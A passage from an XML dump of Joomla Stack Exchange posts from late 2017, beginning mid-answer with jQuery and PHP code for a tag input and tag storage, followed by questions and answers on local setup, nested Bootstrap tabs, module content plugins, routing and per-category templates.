!== '')&#xA;                {&#xA;                    // Extra check. If we have added a custom tag with this text remove it&#xA;                    var customOptionValue = customTagPrefix + highlighted.text();&#xA;                    $('&quot; . $selector . &quot; option').filter(function () { return $(this).val() == customOptionValue; }).remove();&#xA;&#xA;                    // Select the highlighted result&#xA;                    var tagOption = $('&quot; . $selector . &quot; option').filter(function () { return $(this).html() == highlighted.text(); });&#xA;                    tagOption.attr('selected', 'selected');&#xA;                }&#xA;                // Add the custom tag option&#xA;                else&#xA;                {&#xA;                    var customTag = this.value;&#xA;&#xA;                    // Extra check. Search if the custom tag already exists (typed faster than AJAX ready)&#xA;                    var tagOption = $('&quot; . $selector . &quot; option').filter(function () { return $(this).html() == customTag; });&#xA;                    if (tagOption.text() !== '')&#xA;                    {&#xA;                        tagOption.attr('selected', 'selected');&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                        var option = $('&amp;lt;option&amp;gt;');&#xA;                        option.text(this.value).val(customTagPrefix + this.value);&#xA;                        option.attr('selected','selected');&#xA;&#xA;                        // Append the option and repopulate the chosen field&#xA;                        $('&quot; . $selector . &quot;').append(option);&#xA;                    }&#xA;                }&#xA;&#xA;                this.value = '';&#xA;                $('&quot; . $selector . &quot;').trigger('liszt:updated');&#xA;                event.preventDefault();&#xA;&#xA;            }&#xA;        });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lastly, go back to your model and modify the save() method to handle the tag inputs and store the data in your database. Something like this works nicely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($data['tags'])){&#xA;    // store the data locally&#xA;    $tags = $data['tags'];&#xA;&#xA;    // remove the data from the array&#xA;    unset($data['tags']);&#xA;&#xA;    // check whether the provided tag is new or old&#xA;    $tagIds = array();&#xA;    $newtags = array();&#xA;    foreach($tags as $tag){&#xA;        if(strpos($tag, '#') !== false){&#xA;            // this is a new tag&#xA;            $newtags[] = str_replace('#new#', '', strtolower($tag));&#xA;        }else{&#xA;            // this is an existing tag&#xA;            $tagIds[] = (int)$tag;&#xA;        }&#xA;    }&#xA;&#xA;    // handle any new tags&#xA;    if($newtags){&#xA;&#xA;        // create the new tag records&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;insert($db-&amp;gt;quoteName('#__my_component_tags'));&#xA;        $query-&amp;gt;columns($db-&amp;gt;quoteName('tag'));&#xA;        foreach($newtags as $tag){&#xA;            $query-&amp;gt;values($db-&amp;gt;quote($tag));&#xA;        }&#xA;        $db-&amp;gt;setQuery($query);&#xA;        if($db-&amp;gt;execute()){&#xA;&#xA;            // get the IDs of these tags&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;select($db-&amp;gt;quoteName('id'));&#xA;            $query-&amp;gt;from($db-&amp;gt;quoteName('#__my_component_tags'));&#xA;            $query-&amp;gt;where($db-&amp;gt;quoteName('tag') . ' IN(' . join(',', $db-&amp;gt;quote($newtags)) . ')');&#xA;            $db-&amp;gt;setQuery($query);&#xA;            if($newtagIds = $db-&amp;gt;loadColumn()){&#xA;&#xA;                // combine the new IDs with the existing ones&#xA;                $tagIds = array_merge($tagIds, $newtagIds);&#xA;            }else{&#xA;                $this-&amp;gt;setError('Unable to retrieve IDs of newly created tags');&#xA;                return false;&#xA;            }                       &#xA;        }else{&#xA;            $this-&amp;gt;setError('Unable to create new tags');&#xA;            return false;&#xA;        }&#xA;    }&#xA;&#xA;    // associate this item with all of its selected tags, ignoring duplicates and removing &#xA;    if($tagIds){&#xA;&#xA;        // craft the SQL value strings&#xA;        $values = array();&#xA;        foreach($tagIds as $tagId){&#xA;            $values[] = '(' . (int)$tagId . ',' . (int)$table-&amp;gt;id . ')';&#xA;        }&#xA;&#xA;        // build and set the query&#xA;        $db-&amp;gt;setQuery('INSERT INTO ' . $db-&amp;gt;quoteName('#__my_component_tag_map') . ' (' . $db-&amp;gt;quoteName('tag') . ',' . $db-&amp;gt;quoteName('my_record') . ') VALUES ' . join(',', $values) . ' ON DUPLICATE KEY UPDATE ' . $db-&amp;gt;quoteName('my_record') . ' = ' . $db-&amp;gt;quoteName('my_record') . ';');&#xA;        if(!$db-&amp;gt;execute()){&#xA;            $this-&amp;gt;setError('Unable to associate tags to landing page');&#xA;            return false;&#xA;        }&#xA;&#xA;        // remove all tags that are no longer associated with this record&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;delete($db-&amp;gt;quoteName('#__my_component_tag_map'));&#xA;        $query-&amp;gt;where($db-&amp;gt;quoteName('tag') . ' NOT IN(' . join(',', $tagIds) . ')');&#xA;        $query-&amp;gt;where($db-&amp;gt;quoteName('my_record') . '=' . (int)$table-&amp;gt;id);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        if(!$db-&amp;gt;execute()){&#xA;            $this-&amp;gt;setError('Unable to remove old tag associations');&#xA;            return false;&#xA;        }&#xA;    }else{&#xA;        // remove all tags&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;delete($db-&amp;gt;quoteName('#__my_component_tag_map'));&#xA;        $query-&amp;gt;where($db-&amp;gt;quoteName('my_record') . '=' . (int)$table-&amp;gt;id);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        if(!$db-&amp;gt;execute()){&#xA;            $this-&amp;gt;setError('Unable to remove all old tag associations');&#xA;            return false;&#xA;        }&#xA;    }&#xA;&#xA;    // delete any tags that no longer have an association&#xA;    $db-&amp;gt;setQuery('DELETE FROM ' . $db-&amp;gt;quoteName('#__my_component_tags') . ' WHERE ' . $db-&amp;gt;quoteName('id') . ' NOT IN(SELECT DISTINCT ' . $db-&amp;gt;quoteName('tag') . ' FROM ' . $db-&amp;gt;quoteName('#__my_component_tag_map') . ');');&#xA;    if(!$db-&amp;gt;execute()){&#xA;        $this-&amp;gt;setError('Unable to remove unassociated tags');&#xA;        return false;&#xA;    }&#xA;}else{&#xA;    // delete any paths that no longer have an association&#xA;    $db-&amp;gt;setQuery('DELETE FROM ' . $db-&amp;gt;quoteName('#__my_component_tags') . ' WHERE ' . $db-&amp;gt;quoteName('id') . ';');&#xA;    if(!$db-&amp;gt;execute()){&#xA;        $this-&amp;gt;setError('Unable to remove unassociated tags');&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2017-11-27T18:17:31.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21983" PostTypeId="1" CreationDate="2017-11-27T22:22:05.743" Score="1" ViewCount="52" Body="&lt;p&gt;Can I download joomla.org and templates to my computer to build my web site on the computer prior to loading it to my server?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11828" LastActivityDate="2017-11-28T02:46:03.667" Title="Load joomla to a computer" Tags="|user|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21984" PostTypeId="2" ParentId="21983" CreationDate="2017-11-28T02:37:09.053" Score="1" Body="&lt;p&gt;&lt;strong&gt;Local Environment&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla runs best on Apache web server with MySQL and PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Linux-Apache-MySQL-PHP (LAMP) stack can be enabled on your Linux operating system and there are equivalent options for Windows and Mac users such as &lt;a href=&quot;https://www.virtualbox.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;WAMP&lt;/a&gt; and &lt;a href=&quot;https://github.com/joomlatools/joomlatools-vagrant&quot; rel=&quot;nofollow noreferrer&quot;&gt;MAMP&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be easier to install &lt;a href=&quot;https://www.virtualbox.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirtualBox&lt;/a&gt; with &lt;a href=&quot;https://github.com/joomlatools/joomlatools-vagrant&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomlatools Vagrant&lt;/a&gt; or &lt;a href=&quot;https://www.turnkeylinux.org/joomla3&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 3 Turnkey Linux&lt;/a&gt; or similar. These tools are all free and available for Linux, Windows and Mac host operating systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Moving a Joomla Website&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to move a website from the web to your local machine or vice versa is to use free or paid version of Akeeba Backup to backup the website, FTP the file to the destination, and then use Akeeba Kickstart to restore the website to the destination.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-11-28T02:46:03.667" LastActivityDate="2017-11-28T02:46:03.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21985" PostTypeId="2" ParentId="21980" CreationDate="2017-11-28T12:12:51.457" Score="3" Body="&lt;p&gt;It seems that &lt;code&gt;Bootstap Tabs&lt;/code&gt; was stripping images. In the &lt;code&gt;Item Settings&lt;/code&gt; tab of this module there is &lt;code&gt;Show Content Images&lt;/code&gt; setting and it was set to &lt;code&gt;No&lt;/code&gt; while it should be set to &lt;code&gt;Yes&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5494" LastActivityDate="2017-11-28T12:12:51.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21986" PostTypeId="2" ParentId="18496" CreationDate="2017-11-28T12:16:49.313" Score="2" Body="&lt;p&gt;I've had a &lt;a href=&quot;https://joomla.stackexchange.com/questions/21980/joomla-removes-img-tags-from-html-of-modules-loaded-in-article-content?noredirect=1&amp;amp;lq=1&quot;&gt;very similar problem&lt;/a&gt;. If Article Newsflash Advanced was displayed inside a tab from Bootstap Tabs module, then you have to open &lt;code&gt;Item Settings&lt;/code&gt; tab of this module and set &lt;code&gt;Show Content Images&lt;/code&gt; setting to &lt;code&gt;Yes&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5494" LastActivityDate="2017-11-28T12:16:49.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21988" PostTypeId="1" AcceptedAnswerId="21989" CreationDate="2017-11-28T22:53:46.453" Score="1" ViewCount="1090" Body="&lt;p&gt;With a Custom HTML module, there is an Option and you can select Yes or No for Prepare Content. This is needed if you have something like the content plugin I developed to acknowledge this, as it does in Joomla Articles:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{myplugin}ABCDE1234,&quot;Flux Capacitor&quot;{/myplugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, there is a module mod_articles_latest, and I wish to add the Prepare Content option to this, so that when it is showing Joomla Articles it will process the above plugin example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this link about Triggering Content Plugins, but I'm unsure if simply adding this code to mod_articles_latest, will make it work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$text = JHtml::_('content.prepare', $text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2017-11-29T07:24:59.513" Title="Can Prepare Content option be added to a Module?" Tags="|module|joomla-3.6|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21989" PostTypeId="2" ParentId="21988" CreationDate="2017-11-29T07:24:59.513" Score="3" Body="&lt;p&gt;Using &lt;code&gt;JHtml::_('content.prepare', $text);&lt;/code&gt; should do what you want as long as the original &lt;code&gt;$text&lt;/code&gt; contains your content tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module &lt;code&gt;mod_articles_latest&lt;/code&gt; outputs by default just the title of an article. If you want to modify the template of the module just for your site, you can use template overrides for the modification. If you want to offer your plugin for others this will not work. In that case, I recommend to create and provide your own version of those modules. &lt;/p&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2017-11-29T07:24:59.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21991" PostTypeId="1" CreationDate="2017-11-29T17:53:14.863" Score="2" ViewCount="6548" Body="&lt;p&gt;I'm using Bootstrap 2.3.2 with Joomla. I have a set of nav-tabs, and the content inside each tab is quite extensive. There are some sections within a given tab that need to be duplicated on one or more of the other tabs. This repeated content contains another set of nav-tabs. I would like to store this repeated content within a custom HTML module, so I only have to maintain one copy of it. But this creates a problem, in that only the first occurrence of the child set of nav-tabs is functional, since the browser sees two or more of the same ID on the page. How do you get around this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;&#xA;        &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&#xA;        &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;&#xA;        &amp;lt;link href=&quot;https://maxcdn.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.min.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&amp;gt;&#xA;        &amp;lt;link href=&quot;css/bootstrap-responsive.min.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&amp;gt;&#xA;        &amp;lt;script src=&quot;http://code.jquery.com/jquery-latest.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;script src=&quot;https://maxcdn.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;        &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;            body {background-color: #DDD}&#xA;            .container {background-color: white; padding: 20px}&#xA;        &amp;lt;/style&amp;gt;&#xA;    &amp;lt;/head&amp;gt;&#xA;        &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&#xA;        &amp;lt;ul class=&quot;nav nav-pills&quot;&amp;gt;&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1&quot; data-toggle=&quot;tab&quot;&amp;gt;One&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab2&quot; data-toggle=&quot;tab&quot;&amp;gt;Two&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab3&quot; data-toggle=&quot;tab&quot;&amp;gt;Three&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;tab-content&quot; style=&quot;margin-bottom:50px&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;tab-pane fade active in&quot; id=&quot;tab1&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;This is the content for tab 1.&amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;ul class=&quot;nav nav-pills&quot;&amp;gt;&#xA;                  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1-1&quot; data-toggle=&quot;tab&quot;&amp;gt;Subtab One&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1-2&quot; data-toggle=&quot;tab&quot;&amp;gt;Subtab Two&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1-3&quot; data-toggle=&quot;tab&quot;&amp;gt;Subtab Three&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;tab-content&quot; style=&quot;margin-bottom:50px&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;tab-pane fade active in&quot; id=&quot;tab1-1&quot;&amp;gt;This is the content for subtab 1.&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;tab1-2&quot;&amp;gt;This is the content for subtab 2.&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;tab1-3&quot;&amp;gt;This is the content for subtab 3.&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;tab2&quot;&amp;gt;&amp;lt;p&amp;gt;This is the content for tab 2.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;tab3&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;This is the content for tab 3.&amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;ul class=&quot;nav nav-pills&quot;&amp;gt;&#xA;                  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1-1&quot; data-toggle=&quot;tab&quot;&amp;gt;Subtab One&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1-2&quot; data-toggle=&quot;tab&quot;&amp;gt;Subtab Two&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1-3&quot; data-toggle=&quot;tab&quot;&amp;gt;Subtab Three&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;tab-content&quot; style=&quot;margin-bottom:50px&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;tab-pane fade active in&quot; id=&quot;tab1-1&quot;&amp;gt;This is the content for subtab 1.&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;tab1-2&quot;&amp;gt;This is the content for subtab 2.&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;tab1-3&quot;&amp;gt;This is the content for subtab 3.&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11861" LastEditorUserId="11861" LastEditDate="2017-11-30T15:02:52.687" LastActivityDate="2024-01-23T09:07:50.953" Title="Bootstrap tabs within tabs" Tags="|navigation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21993" PostTypeId="1" CreationDate="2017-11-29T20:37:25.963" Score="2" ViewCount="99" Body="&lt;p&gt;I'm looking for documentation about the new Router arrived in Joomla 3.8/4.0. I already spend some time to figure out how to leverage this new implementation approach to my component and stumbled upon some difficulties. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main questions are: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;does the router support nested views without a parent view?&lt;/li&gt;&#xA;&lt;li&gt;how to implement a view with multiple parent views?&lt;/li&gt;&#xA;&lt;li&gt;are the build URLs supposed to avoid duplicated content?&lt;/li&gt;&#xA;&lt;li&gt;is there any good dev documentation about the new Routing System?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For 1. I already filed &lt;a href=&quot;https://joomla.stackexchange.com/questions/21954/joomla-3-8-new-router-nested-view&quot;&gt;Joomla 3.8 // New Router &amp;amp; Nested View&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2. I have an item view which can be the child view of a category view or another view. Links to an item don't use the correct ItemId. Maybe this is related to 3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 3. I have several menu items which can show the same item. One menu item links to the root category, another to a subcategory. While browsing, I would like to stay within the current menu item. But if I jump from the root menu item to the subcategory, I follow the link to the other menu item. &lt;/p&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2017-12-05T19:41:46.467" Title="New Router // Nesting, Unique URLs and Multi Parent View Hierarchy" Tags="|router|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21995" PostTypeId="1" AcceptedAnswerId="22954" CreationDate="2017-11-30T15:04:08.033" Score="2" ViewCount="323" Body="&lt;p&gt;I had a question about category blog layout ordening, I have a lot of articles from november, but last I added a lot of articles trough a API from august. The import was all good and nothing was wrong with it, but when I set my blog layout to &quot;Newest first&quot; It takes te latest date of november and august and sorts them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;30 november&#xA;30 august&#xA;23 november&#xA;22 august&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want to get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;30 november&#xA;23 november&#xA;30 august&#xA;22 august&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I will get this?&lt;/p&gt;&#xA;" OwnerUserId="11727" LastActivityDate="2018-06-06T23:37:18.397" Title="Category blog ordering not working" Tags="|joomla-3.x|category-blog|date|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21996" PostTypeId="2" ParentId="21991" CreationDate="2017-11-30T15:21:24.847" Score="0" Body="&lt;p&gt;I see the issue straight away. The problem being is that you're getting muddled with the ID's, which is understandable as I can imagine you have lots of tabs and content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To narrow it down, you're basically using the same ID in multiple places, meaning there are going to be conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So looking at it from a code perspective, in subtabs within you &lt;strong&gt;3rd&lt;/strong&gt; tab, you were using he ID from the &lt;strong&gt;1st&lt;/strong&gt; tab&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;tab3&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;This is the content for tab 3.&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;ul class=&quot;nav nav-pills&quot;&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1-1&quot; data-toggle=&quot;tab&quot;&amp;gt;Subtab One&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1-2&quot; data-toggle=&quot;tab&quot;&amp;gt;Subtab Two&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1-3&quot; data-toggle=&quot;tab&quot;&amp;gt;Subtab Three&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;tab-content&quot; style=&quot;margin-bottom:50px&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;tab-pane fade active in&quot; id=&quot;tab1-1&quot;&amp;gt;This is the content for subtab 1.&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;tab1-2&quot;&amp;gt;This is the content for subtab 2.&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;tab-pane fade&quot; id=&quot;tab1-3&quot;&amp;gt;This is the content for subtab 3.&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So as you can see in the code above, you're assigning and calling &lt;code&gt;tab1-1&lt;/code&gt;, whereas because this is already being used, it should be &lt;code&gt;tab3-1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an updated JSFiddle with the working code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://jsfiddle.net/tak0cuf1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsfiddle.net/tak0cuf1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-11-30T15:21:24.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21997" PostTypeId="1" AcceptedAnswerId="22992" CreationDate="2017-11-30T17:36:52.833" Score="4" ViewCount="886" Body="&lt;p&gt;Is it possible to change the template of a &lt;strong&gt;single article&lt;/strong&gt; based on the &lt;strong&gt;category&lt;/strong&gt;.  The reason I ask is because I want to have a &lt;strong&gt;single article html override&lt;/strong&gt; using fields and I don't want the client to have to remember to change the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to hook into the template for an article in that way?  And is it possible to listen to the category change in that way?  Fields updates based on the category selected so I assume I can hook into the category using JS.  Is it possible to change the template option?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2018-05-30T15:36:33.733" LastActivityDate="2018-06-12T18:05:27.137" Title="Assign different single article template per category" Tags="|joomla-3.x|templates|system-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21998" PostTypeId="2" ParentId="21997" CreationDate="2017-11-30T20:24:38.257" Score="2" Body="&lt;p&gt;Yes, it's possible. You can do it with a system plugin. &#xA;However there is already a such solution available by Regular Labs. It's called &lt;a href=&quot;https://www.regularlabs.com/extensions/advancedtemplatemanager/features&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Advanced Template Manager&lt;/strong&gt;&lt;/a&gt;, and it works similarly to the Advanced Module Manager (if you have ever used it).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Advanced Template Manager is an extension that changes the way your&#xA;  Template manager works.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With Joomla you can normally only assign template styles to certain&#xA;  menu items.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With Advanced Template Manager you have the possibility to assign&#xA;  template styles to just about anything you want, giving you full&#xA;  control over your Joomla template styles.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Not compatible with...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Advanced Template Manager is NOT compatible with these (and maybe&#xA;  other) templates and template frameworks:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Gantry (RocketTheme)&lt;br&gt;&#xA;  JoomlaXTC&lt;br&gt;&#xA;  T3 (JoomlArt)&lt;br&gt;&#xA;  Warp (YooTheme)  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If it happens to use one of those non-compatible templates/frameworks, it could still be possible to develop your plugin and handle this, but it will take some research to find out how these frameworks deal with their template styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a basic frame of what you should do in your system plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRoute()&#xA;{&#xA;    $mobile_template_name = 'your-other-template';&#xA;    $app = JFactory::getApplication();&#xA;&#xA;    // only run in front-end&#xA;    if (!$app-&amp;gt;isAdmin())&#xA;    {&#xA;        $selectedCategories = $this-&amp;gt;params-&amp;gt;get('categories');&#xA;        $input = $app-&amp;gt;input;&#xA;&#xA;        // run for articles&#xA;        if ($input-&amp;gt;get('option') === 'com_content' &amp;amp;&amp;amp; $input-&amp;gt;get('view') === 'article')&#xA;        {&#xA;            // get article model&#xA;            JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');&#xA;            $model   = JModelLegacy::getInstance('Article', 'ContentModel');&#xA;            $article = $model-&amp;gt;getItem($input-&amp;gt;get('id'));&#xA;&#xA;            // find current article catid&#xA;            $catid = $article-&amp;gt;catid;&#xA;&#xA;            if (in_array($catid, $selectedCategories))&#xA;            {&#xA;                // article is in the selected Categories, so Set your other template&#xA;                $app-&amp;gt;setTemplate($mobile_template_name);                       &#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="168" LastEditDate="2017-12-01T12:23:32.907" LastActivityDate="2017-12-01T12:23:32.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
